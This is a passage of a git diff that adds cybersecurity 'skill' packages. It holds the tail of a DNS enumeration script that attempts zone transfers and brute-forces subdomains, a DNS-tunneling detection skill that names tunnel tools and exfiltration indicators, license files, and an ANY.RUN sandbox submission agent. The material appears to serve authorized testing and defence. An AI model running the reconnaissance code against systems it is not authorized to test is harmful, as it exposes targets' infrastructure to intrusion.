dns.rdatatype + + +def enumerate_dns_records(domain: str) -> dict: + """Enumerate common DNS record types for a domain.""" + record_types = ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME", "SRV", "CAA"] + results = {} + + for rtype in record_types: + try: + answers = dns.resolver.resolve(domain, rtype) + records = [] + for rdata in answers: + records.append(str(rdata)) + results[rtype] = records + except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN): + results[rtype] = [] + except dns.exception.DNSException: + results[rtype] = [] + + return results + + +def get_nameservers(domain: str) -> list[str]: + """Resolve authoritative nameservers for a domain.""" + nameservers = [] + try: + ns_records = dns.resolver.resolve(domain, "NS") + for ns in ns_records: + ns_name = str(ns).rstrip(".") + try: + a_records = dns.resolver.resolve(ns_name, "A") + for a in a_records: + nameservers.append({"name": ns_name, "ip": str(a)}) + except dns.exception.DNSException: + nameservers.append({"name": ns_name, "ip": "unresolved"}) + except dns.exception.DNSException as e: + nameservers.append({"error": str(e)}) + + return nameservers + + +def attempt_zone_transfer(domain: str, nameservers: list[dict]) -> dict: + """Attempt AXFR zone transfer against each nameserver.""" + results = {"vulnerable": False, "records": [], "tested_servers": []} + + for ns in nameservers: + ns_ip = ns.get("ip", "") + ns_name = ns.get("name", "") + if ns_ip == "unresolved" or "error" in ns: + continue + + server_result = {"nameserver": ns_name, "ip": ns_ip, "transfer_allowed": False} + + try: + zone = dns.zone.from_xfr(dns.query.xfr(ns_ip, domain, timeout=10)) + server_result["transfer_allowed"] = True + results["vulnerable"] = True + + for name, node in zone.nodes.items(): + for rdataset in node.rdatasets: + for rdata in rdataset: + results["records"].append({ + "name": str(name), + "type": dns.rdatatype.to_text(rdataset.rdtype), + "ttl": rdataset.ttl, + "data": str(rdata), + }) + + except dns.exception.FormError: + server_result["error"] = "Transfer refused (FORMERR)" + except dns.xfr.TransferError: + server_result["error"] = "Transfer refused" + except dns.exception.DNSException as e: + server_result["error"] = str(e) + except Exception as e: + server_result["error"] = str(e) + + results["tested_servers"].append(server_result) + + return results + + +def check_email_security(domain: str) -> dict: + """Check SPF, DKIM, and DMARC DNS records.""" + security = {"spf": None, "dmarc": None, "dkim_selectors": []} + + try: + txt_records = dns.resolver.resolve(domain, "TXT") + for txt in txt_records: + txt_str = str(txt).strip('"') + if txt_str.startswith("v=spf1"): + security["spf"] = txt_str + except dns.exception.DNSException: + pass + + try: + dmarc = dns.resolver.resolve(f"_dmarc.{domain}", "TXT") + for txt in dmarc: + txt_str = str(txt).strip('"') + if "v=DMARC1" in txt_str: + security["dmarc"] = txt_str + except dns.exception.DNSException: + pass + + common_selectors = ["default", "google", "selector1", "selector2", "s1", "s2", "mail", "k1"] + for selector in common_selectors: + try: + dkim = dns.resolver.resolve(f"{selector}._domainkey.{domain}", "TXT") + for txt in dkim: + security["dkim_selectors"].append({ + "selector": selector, + "record": str(txt).strip('"')[:100], + }) + except dns.exception.DNSException: + pass + + return security + + +def brute_force_subdomains(domain: str, wordlist: list[str] = None) -> list[dict]: + """Brute-force subdomain discovery via DNS resolution.""" + if wordlist is None: + wordlist = [ + "www", "mail", "ftp", "admin", "api", "dev", "staging", + "test", "vpn", "portal", "app", "login", "secure", + "m", "blog", "shop", "cdn", "ns1", "ns2", "mx", + "remote", "gateway", "intranet", "extranet", "webmail", + "owa", "autodiscover", "sso", "auth", "git", "ci", + ] + + found = [] + resolver = dns.resolver.Resolver() + resolver.timeout = 3 + resolver.lifetime = 3 + + for sub in wordlist: + fqdn = f"{sub}.{domain}" + try: + answers = resolver.resolve(fqdn, "A") + ips = [str(a) for a in answers] + found.append({"subdomain": fqdn, "ips": ips, "record_type": "A"}) + except dns.exception.DNSException: + pass + + try: + answers = resolver.resolve(fqdn, "CNAME") + cnames = [str(c) for c in answers] + found.append({"subdomain": fqdn, "cnames": cnames, "record_type": "CNAME"}) + except dns.exception.DNSException: + pass + + return found + + +def generate_report( + domain: str, records: dict, nameservers: list, zone_transfer: dict, + email_security: dict, subdomains: list, +) -> str: + """Generate DNS enumeration report.""" + lines = [ + "DNS ENUMERATION AND ZONE TRANSFER REPORT — AUTHORIZED TESTING ONLY", + "=" * 65, + f"Target Domain: {domain}", + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "DNS RECORDS:", + ] + for rtype, recs in records.items(): + if recs: + lines.append(f" {rtype}: {', '.join(recs[:5])}") + + lines.extend([ + "", + f"NAMESERVERS ({len(nameservers)}):", + ]) + for ns in nameservers: + if "error" not in ns: + lines.append(f" {ns['name']} ({ns['ip']})") + + vuln = "VULNERABLE" if zone_transfer["vulnerable"] else "NOT VULNERABLE" + lines.extend([ + "", + f"ZONE TRANSFER: {vuln}", + f" Records Leaked: {len(zone_transfer['records'])}", + ]) + + lines.extend([ + "", + "EMAIL SECURITY:", + f" SPF: {'Present' if email_security['spf'] else 'MISSING'}", + f" DMARC: {'Present' if email_security['dmarc'] else 'MISSING'}", + f" DKIM Selectors Found: {len(email_security['dkim_selectors'])}", + "", + f"SUBDOMAINS DISCOVERED: {len(subdomains)}", + ]) + for sub in subdomains[:15]: + ips = sub.get("ips", sub.get("cnames", [])) + lines.append(f" {sub['subdomain']} -> {', '.join(ips)}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] DNS ENUMERATION — AUTHORIZED TESTING ONLY\n") + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + + domain = sys.argv[1] + + print(f"[*] Enumerating DNS records for {domain}...") + records = enumerate_dns_records(domain) + + print("[*] Resolving nameservers...") + nameservers = get_nameservers(domain) + + print("[*] Attempting zone transfer...") + zone_transfer = attempt_zone_transfer(domain, nameservers) + + print("[*] Checking email security records...") + email_security = check_email_security(domain) + + print("[*] Brute-forcing subdomains...") + subdomains = brute_force_subdomains(domain) + + report = generate_report(domain, records, nameservers, zone_transfer, email_security, subdomains) + print(report) + + output = f"dns_enum_{domain.replace('.', '_')}_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"records": records, "nameservers": nameservers, "zone_transfer": zone_transfer, + "email_security": email_security, "subdomains": subdomains}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-dns-tunneling-detection/LICENSE b/skills/performing-dns-tunneling-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-dns-tunneling-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dns-tunneling-detection/SKILL.md b/skills/performing-dns-tunneling-detection/SKILL.md new file mode 100644 index 00000000..f0e38e2a --- /dev/null +++ b/skills/performing-dns-tunneling-detection/SKILL.md @@ -0,0 +1,52 @@ +--- +name: performing-dns-tunneling-detection +description: > + Detects DNS tunneling by computing Shannon entropy of DNS query names, analyzing + query length distributions, inspecting TXT record payloads, and identifying high + subdomain cardinality. Uses scapy for packet capture analysis and statistical methods + to distinguish legitimate DNS from covert channels. Use when hunting for data exfiltration. +--- + +# Performing DNS Tunneling Detection + +## Instructions + +Analyze DNS traffic for indicators of DNS tunneling using entropy analysis and +statistical methods on query name characteristics. + +```python +import math +from collections import Counter + +def shannon_entropy(data): + if not data: + return 0 + counter = Counter(data) + length = len(data) + return -sum((c/length) * math.log2(c/length) for c in counter.values()) + +# Legitimate domain: low entropy (~3.0-3.5) +print(shannon_entropy("www.google.com")) +# DNS tunnel: high entropy (~4.0-5.0) +print(shannon_entropy("aGVsbG8gd29ybGQ.tunnel.example.com")) +``` + +Key detection indicators: +1. High Shannon entropy in query names (> 3.5 for subdomain labels) +2. Unusually long query names (> 50 characters) +3. High volume of TXT record requests to a single domain +4. High unique subdomain count per parent domain +5. Non-standard character distribution in labels + +## Examples + +```python +from scapy.all import rdpcap, DNS, DNSQR +packets = rdpcap("dns_traffic.pcap") +for pkt in packets: + if pkt.haslayer(DNSQR): + query = pkt[DNSQR].qname.decode() + entropy = shannon_entropy(query) + if entropy > 4.0: + print(f"Suspicious: {query} (entropy={entropy:.2f})") +``` diff --git a/skills/performing-dns-tunneling-detection/references/api-reference.md b/skills/performing-dns-tunneling-detection/references/api-reference.md new file mode 100644 index 00000000..976c3a93 --- /dev/null +++ b/skills/performing-dns-tunneling-detection/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Performing DNS Tunneling Detection + +## scapy (DNS Packet Analysis) + +```python +from scapy.all import rdpcap, DNS, DNSQR, DNSRR, sniff + +# Read from PCAP +packets = rdpcap("traffic.pcap") +for pkt in packets: + if pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname.decode() + qtype = pkt[DNSQR].qtype # 1=A, 16=TXT, 28=AAAA + +# Live capture +def dns_callback(pkt): + if pkt.haslayer(DNSQR): + print(pkt[DNSQR].qname) + +sniff(filter="udp port 53", prn=dns_callback, count=100) +``` + +## Shannon Entropy Calculation + +```python +import math +from collections import Counter + +def shannon_entropy(data): + counter = Counter(data) + length = len(data) + return -sum((c/length) * math.log2(c/length) + for c in counter.values()) + +# Normal domain: ~2.5-3.5 bits +# DNS tunnel: ~4.0-5.0 bits +``` + +## DNS Tunneling Indicators + +| Indicator | Threshold | Rationale | +|-----------|-----------|-----------| +| Subdomain entropy | > 3.8 | Encoded/encrypted data | +| Query length | > 50 chars | Payload in subdomain | +| TXT queries/domain | > 20/hour | Data channel | +| Unique subdomains | > 50/parent | Encoded sessions | +| Digit ratio | > 0.4 | Base64/hex encoding | + +## Common DNS Tunnel Tools + +| Tool | Encoding | Record Types | +|------|----------|-------------| +| iodine | Base128 | NULL, TXT, CNAME | +| dnscat2 | Hex/CNAME | TXT, MX, CNAME | +| dns2tcp | Base64 | TXT, KEY | + +### References + +- scapy: https://scapy.readthedocs.io/en/latest/ +- DNS tunneling detection: https://www.sans.org/white-papers/dns-tunneling/ +- iodine: https://github.com/yarrick/iodine diff --git a/skills/performing-dns-tunneling-detection/scripts/agent.py b/skills/performing-dns-tunneling-detection/scripts/agent.py new file mode 100644 index 00000000..5755b805 --- /dev/null +++ b/skills/performing-dns-tunneling-detection/scripts/agent.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""Agent for detecting DNS tunneling via entropy and statistical analysis.""" + +import os +import json +import math +import argparse +from collections import Counter, defaultdict +from datetime import datetime + +from scapy.all import rdpcap, DNS, DNSQR, DNSRR + + +def shannon_entropy(data): + """Calculate Shannon entropy of a string.""" + if not data: + return 0.0 + counter = Counter(data) + length = len(data) + return -sum((count / length) * math.log2(count / length) for count in counter.values()) + + +def extract_dns_queries(pcap_path): + """Extract DNS queries from a PCAP file using scapy.""" + packets = rdpcap(pcap_path) + queries = [] + for pkt in packets: + if pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname.decode().rstrip(".") + qtype = pkt[DNSQR].qtype + src_ip = pkt.src if hasattr(pkt, "src") else "" + queries.append({ + "query": qname, + "qtype": qtype, + "src_ip": src_ip, + "timestamp": float(pkt.time), + }) + return queries + + +def analyze_entropy(queries, threshold=3.8): + """Flag queries with high Shannon entropy in subdomain labels.""" + suspicious = [] + for q in queries: + domain = q["query"] + labels = domain.split(".") + if len(labels) < 2: + continue + subdomain = ".".join(labels[:-2]) + if not subdomain: + continue + entropy = shannon_entropy(subdomain) + if entropy > threshold: + suspicious.append({ + "query": domain, + "subdomain": subdomain, + "entropy": round(entropy, 3), + "length": len(subdomain), + "src_ip": q.get("src_ip", ""), + }) + return sorted(suspicious, key=lambda x: x["entropy"], reverse=True) + + +def analyze_query_lengths(queries, length_threshold=50): + """Detect queries with unusually long domain names.""" + long_queries = [] + for q in queries: + if len(q["query"]) > length_threshold: + long_queries.append({ + "query": q["query"], + "length": len(q["query"]), + "src_ip": q.get("src_ip", ""), + }) + return long_queries + + +def analyze_txt_records(pcap_path): + """Detect high volume of TXT record queries to single domains.""" + packets = rdpcap(pcap_path) + txt_counts = defaultdict(int) + for pkt in packets: + if pkt.haslayer(DNSQR) and pkt[DNSQR].qtype == 16: + domain = pkt[DNSQR].qname.decode().rstrip(".") + parent = ".".join(domain.split(".")[-2:]) + txt_counts[parent] += 1 + suspicious = [ + {"domain": d, "txt_query_count": c} + for d, c in txt_counts.items() if c > 20 + ] + return sorted(suspicious, key=lambda x: x["txt_query_count"], reverse=True) + + +def analyze_subdomain_cardinality(queries): + """Detect domains with high unique subdomain count (tunneling indicator).""" + parent_subdomains = defaultdict(set) + for q in queries: + labels = q["query"].split(".") + if len(labels) >= 3: + parent = ".".join(labels[-2:]) + subdomain = ".".join(labels[:-2]) + parent_subdomains[parent].add(subdomain) + high_cardinality = [] + for parent, subs in parent_subdomains.items(): + if len(subs) > 50: + high_cardinality.append({ + "parent_domain": parent, + "unique_subdomains": len(subs), + "sample_subdomains": list(subs)[:5], + }) + return sorted(high_cardinality, key=lambda x: x["unique_subdomains"], reverse=True) + + +def analyze_character_distribution(queries): + """Detect non-standard character frequency in query labels.""" + suspicious = [] + for q in queries: + labels = q["query"].split(".") + subdomain = ".".join(labels[:-2]) + if len(subdomain) < 10: + continue + alpha_count = sum(1 for c in subdomain if c.isalpha()) + digit_count = sum(1 for c in subdomain if c.isdigit()) + total = len(subdomain.replace(".", "")) + if total == 0: + continue + digit_ratio = digit_count / total + if digit_ratio > 0.4 or (alpha_count / total) < 0.5: + suspicious.append({ + "query": q["query"], + "digit_ratio": round(digit_ratio, 3), + "subdomain_length": len(subdomain), + }) + return suspicious + + +def main(): + parser = argparse.ArgumentParser(description="DNS Tunneling Detection Agent") + parser.add_argument("--pcap", required=True, help="Path to PCAP file") + parser.add_argument("--entropy-threshold", type=float, default=3.8) + parser.add_argument("--output", default="dns_tunnel_report.json") + parser.add_argument("--action", choices=[ + "entropy", "length", "txt", "cardinality", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + report = {"pcap": args.pcap, "generated_at": datetime.utcnow().isoformat(), + "findings": {}} + + queries = extract_dns_queries(args.pcap) + report["total_queries"] = len(queries) + print(f"[+] Extracted {len(queries)} DNS queries from {args.pcap}") + + if args.action in ("entropy", "full_analysis"): + high_entropy = analyze_entropy(queries, args.entropy_threshold) + report["findings"]["high_entropy"] = high_entropy + print(f"[+] High entropy queries: {len(high_entropy)}") + + if args.action in ("length", "full_analysis"): + long_q = analyze_query_lengths(queries) + report["findings"]["long_queries"] = long_q + print(f"[+] Long queries (>50 chars): {len(long_q)}") + + if args.action in ("txt", "full_analysis"): + txt = analyze_txt_records(args.pcap) + report["findings"]["txt_anomalies"] = txt + print(f"[+] TXT record anomalies: {len(txt)}") + + if args.action in ("cardinality", "full_analysis"): + cardinality = analyze_subdomain_cardinality(queries) + report["findings"]["high_cardinality"] = cardinality + print(f"[+] High cardinality domains: {len(cardinality)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-docker-bench-security-assessment/LICENSE b/skills/performing-docker-bench-security-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-docker-bench-security-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dynamic-analysis-of-android-app/LICENSE b/skills/performing-dynamic-analysis-of-android-app/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-dynamic-analysis-of-android-app/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dynamic-analysis-with-any-run/LICENSE b/skills/performing-dynamic-analysis-with-any-run/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-dynamic-analysis-with-any-run/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dynamic-analysis-with-any-run/references/api-reference.md b/skills/performing-dynamic-analysis-with-any-run/references/api-reference.md new file mode 100644 index 00000000..cfe72544 --- /dev/null +++ b/skills/performing-dynamic-analysis-with-any-run/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Performing Dynamic Analysis with ANY.RUN + +## ANY.RUN API v1 + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v1/analysis` | POST | Submit file or URL for analysis | +| `/v1/analysis/{taskid}` | GET | Get full analysis report | +| `/v1/analysis/{taskid}/ioc` | GET | Get extracted IOCs | +| `/v1/analysis/{taskid}/download/{type}` | GET | Download PCAP, screenshots, or dropped files | + +## Submission Parameters + +| Parameter | Type | Description | +|-----------|------|-------------| +| `file` | file | Malware sample to analyze (multipart upload) | +| `obj_url` | string | URL to analyze in browser | +| `env_os` | string | OS: `windows-7`, `windows-10`, `windows-11` | +| `env_bitness` | int | Architecture: 32 or 64 | +| `opt_privacy_type` | string | `public`, `private`, or `bylink` | +| `opt_timeout` | int | Analysis timeout in seconds (60-660) | +| `opt_network_connect` | bool | Allow internet access during analysis | +| `opt_network_fakenet` | bool | Use fake network services | + +## Report Structure + +| Field | Description | +|-------|-------------| +| `analysis.scores.verdict` | Overall verdict and threat level | +| `analysis.processes[]` | Process tree with command lines | +| `analysis.network.dnsRequests[]` | DNS queries made by sample | +| `analysis.network.httpRequests[]` | HTTP requests with URLs and methods | +| `analysis.network.connections[]` | TCP/UDP connections | +| `analysis.mitre[]` | Mapped MITRE ATT&CK techniques | +| `analysis.tags[]` | Malware family and behavior tags | + +## Official Python SDK (anyrun-sdk) + +| Class / Method | Description | +|----------------|-------------| +| `SandboxConnector.windows(api_key)` | Create sandbox connector for Windows analysis (context manager) | +| `SandboxConnector.linux(api_key)` | Create sandbox connector for Linux analysis (context manager) | +| `connector.run_file_analysis(filepath)` | Submit local file, returns `analysis_id` | +| `connector.run_url_analysis(url)` | Submit URL for browser analysis, returns `analysis_id` | +| `connector.get_task_status(analysis_id)` | Generator yielding status updates until completion | +| `connector.get_analysis_verdict(analysis_id)` | Returns verdict string (malicious/suspicious/clean) | +| `connector.get_analysis_report(analysis_id)` | Returns full analysis report dict | + +## Key Libraries + +- **anyrun-sdk** (`pip install anyrun-sdk`): Official ANY.RUN Python SDK with `SandboxConnector` +- **requests** (`pip install requests`): HTTP client for REST API fallback +- **time** (stdlib): Polling for analysis completion +- **json** (stdlib): Parse and export analysis results + +## Configuration + +| Variable | Description | +|----------|-------------| +| `ANYRUN_API_KEY` | ANY.RUN API key (from account settings) | + +## Rate Limits + +| Plan | Submissions/Day | API Calls/Minute | +|------|-----------------|------------------| +| Free | 5 public | 10 | +| Hunter | Unlimited private | 60 | +| Enterprise | Unlimited | 120 | + +## References + +- [ANY.RUN API Documentation](https://any.run/api-documentation/) +- [ANY.RUN Public Reports](https://app.any.run/submissions) +- [MITRE ATT&CK](https://attack.mitre.org/) +- [ANY.RUN Blog](https://any.run/cybersecurity-blog/) diff --git a/skills/performing-dynamic-analysis-with-any-run/scripts/agent.py b/skills/performing-dynamic-analysis-with-any-run/scripts/agent.py new file mode 100644 index 00000000..d5a50750 --- /dev/null +++ b/skills/performing-dynamic-analysis-with-any-run/scripts/agent.py @@ -0,0 +1,317 @@ +#!/usr/bin/env python3 +""" +Dynamic Analysis with ANY.RUN Agent +Submits malware samples to ANY.RUN sandbox via API, monitors task execution, +and retrieves behavioral analysis results including process trees, network +indicators, and MITRE ATT&CK mappings. + +Supports both the official anyrun-sdk (pip install anyrun-sdk) with +SandboxConnector and the legacy REST API via requests. +""" + +import json +import os +import sys +import time +from datetime import datetime, timezone + +import requests + +try: + from anyrun.connectors import SandboxConnector + HAS_ANYRUN_SDK = True +except ImportError: + HAS_ANYRUN_SDK = False + + +ANYRUN_API_BASE = "https://api.any.run/v1" + + +def submit_file(filepath: str, api_key: str, os_version: str = "windows-10", + privacy: str = "private", timeout_seconds: int = 120) -> dict: + """Submit a file to ANY.RUN for dynamic analysis.""" + if not os.path.exists(filepath): + return {"error": f"File not found: {filepath}"} + + headers = {"Authorization": f"API-Key {api_key}"} + + with open(filepath, "rb") as f: + files = {"file": (os.path.basename(filepath), f)} + data = { + "env_os": os_version, + "env_bitness": 64, + "env_type": "complete", + "opt_privacy_type": privacy, + "opt_timeout": timeout_seconds, + "opt_network_connect": True, + "opt_network_fakenet": False, + "opt_network_tor": False, + } + + resp = requests.post( + f"{ANYRUN_API_BASE}/analysis", + headers=headers, files=files, data=data, timeout=60, + ) + + if resp.status_code in (200, 201): + result = resp.json() + return { + "task_id": result.get("data", {}).get("taskid", ""), + "status": "submitted", + "task_url": f"https://app.any.run/tasks/{result.get('data', {}).get('taskid', '')}", + } + + return {"error": f"Submission failed: {resp.status_code} - {resp.text[:200]}"} + + +def submit_url(url: str, api_key: str, os_version: str = "windows-10") -> dict: + """Submit a URL to ANY.RUN for dynamic analysis.""" + headers = {"Authorization": f"API-Key {api_key}"} + data = { + "obj_url": url, + "env_os": os_version, + "env_bitness": 64, + "opt_privacy_type": "private", + "opt_timeout": 120, + "opt_network_connect": True, + } + + resp = requests.post( + f"{ANYRUN_API_BASE}/analysis", + headers=headers, data=data, timeout=60, + ) + + if resp.status_code in (200, 201): + result = resp.json() + return { + "task_id": result.get("data", {}).get("taskid", ""), + "status": "submitted", + } + + return {"error": f"URL submission failed: {resp.status_code}"} + + +def get_task_report(task_id: str, api_key: str) -> dict: + """Retrieve the full analysis report for a completed task.""" + headers = {"Authorization": f"API-Key {api_key}"} + + resp = requests.get( + f"{ANYRUN_API_BASE}/analysis/{task_id}", + headers=headers, timeout=30, + ) + + if resp.status_code != 200: + return {"error": f"Report retrieval failed: {resp.status_code}"} + + data = resp.json().get("data", {}) + + report = { + "task_id": task_id, + "verdict": data.get("analysis", {}).get("scores", {}).get("verdict", {}).get("verdict", "unknown"), + "threat_level": data.get("analysis", {}).get("scores", {}).get("verdict", {}).get("threatLevelText", ""), + "tags": data.get("analysis", {}).get("tags", []), + } + + processes = data.get("analysis", {}).get("processes", []) + report["processes"] = [] + for proc in processes: + report["processes"].append({ + "pid": proc.get("pid", 0), + "name": proc.get("fileName", ""), + "command_line": proc.get("commandLine", "")[:200], + "parent_pid": proc.get("parentPID", 0), + "is_malicious": proc.get("scores", {}).get("verdict", {}).get("isMalicious", False), + }) + + network = data.get("analysis", {}).get("network", {}) + report["network"] = { + "dns_requests": [ + {"domain": d.get("domain", ""), "ip": d.get("ip", "")} + for d in network.get("dnsRequests", []) + ], + "http_requests": [ + {"url": h.get("url", ""), "method": h.get("method", ""), "status": h.get("status", 0)} + for h in network.get("httpRequests", []) + ], + "connections": [ + {"ip": c.get("ip", ""), "port": c.get("port", 0), "protocol": c.get("protocol", "")} + for c in network.get("connections", []) + ], + } + + mitre = data.get("analysis", {}).get("mitre", []) + report["mitre_techniques"] = [ + {"technique_id": m.get("id", ""), "name": m.get("name", ""), "tactic": m.get("tactic", "")} + for m in mitre + ] + + return report + + +def wait_for_completion(task_id: str, api_key: str, max_wait: int = 300) -> dict: + """Poll task status until analysis completes.""" + headers = {"Authorization": f"API-Key {api_key}"} + start = time.time() + + while time.time() - start < max_wait: + resp = requests.get( + f"{ANYRUN_API_BASE}/analysis/{task_id}", + headers=headers, timeout=30, + ) + + if resp.status_code == 200: + status = resp.json().get("data", {}).get("analysis", {}).get("status", "") + if status == "done": + return {"status": "completed", "elapsed": round(time.time() - start)} + if status == "failed": + return {"status": "failed", "elapsed": round(time.time() - start)} + + time.sleep(15) + + return {"status": "timeout", "elapsed": max_wait} + + +def get_iocs_from_report(report: dict) -> dict: + """Extract IOCs from an ANY.RUN analysis report.""" + iocs = { + "domains": set(), + "ips": set(), + "urls": set(), + "processes": [], + "mitre_techniques": [], + } + + for dns_req in report.get("network", {}).get("dns_requests", []): + if dns_req.get("domain"): + iocs["domains"].add(dns_req["domain"]) + if dns_req.get("ip"): + iocs["ips"].add(dns_req["ip"]) + + for http_req in report.get("network", {}).get("http_requests", []): + if http_req.get("url"): + iocs["urls"].add(http_req["url"]) + + for conn in report.get("network", {}).get("connections", []): + if conn.get("ip"): + iocs["ips"].add(conn["ip"]) + + for proc in report.get("processes", []): + if proc.get("is_malicious"): + iocs["processes"].append(proc["name"]) + + iocs["mitre_techniques"] = report.get("mitre_techniques", []) + iocs["domains"] = sorted(iocs["domains"]) + iocs["ips"] = sorted(iocs["ips"]) + iocs["urls"] = sorted(iocs["urls"]) + + return iocs + + +def generate_report(submission: dict, report: dict, iocs: dict) -> str: + """Generate dynamic analysis report.""" + lines = [ + "DYNAMIC ANALYSIS REPORT (ANY.RUN)", + "=" * 50, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + f"Task ID: {report.get('task_id', submission.get('task_id', 'N/A'))}", + f"Task URL: {submission.get('task_url', 'N/A')}", + "", + f"Verdict: {report.get('verdict', 'N/A')}", + f"Threat Level: {report.get('threat_level', 'N/A')}", + f"Tags: {', '.join(report.get('tags', []))}", + "", + f"PROCESSES ({len(report.get('processes', []))}):", + ] + + for proc in report.get("processes", [])[:10]: + mal = " [MALICIOUS]" if proc.get("is_malicious") else "" + lines.append(f" PID {proc['pid']}: {proc['name']}{mal}") + if proc.get("command_line"): + lines.append(f" CMD: {proc['command_line'][:100]}") + + lines.extend([ + "", + "NETWORK IOCs:", + f" Domains: {len(iocs.get('domains', []))}", + f" IPs: {len(iocs.get('ips', []))}", + f" URLs: {len(iocs.get('urls', []))}", + ]) + + if iocs.get("mitre_techniques"): + lines.extend(["", "MITRE ATT&CK TECHNIQUES:"]) + for tech in iocs["mitre_techniques"][:10]: + lines.append(f" {tech['technique_id']} - {tech['name']} ({tech['tactic']})") + + return "\n".join(lines) + + +def run_with_sdk(api_key: str, target: str, is_url: bool) -> dict: + """Use official anyrun-sdk (SandboxConnector) if available.""" + with SandboxConnector.windows(api_key) as connector: + if is_url: + analysis_id = 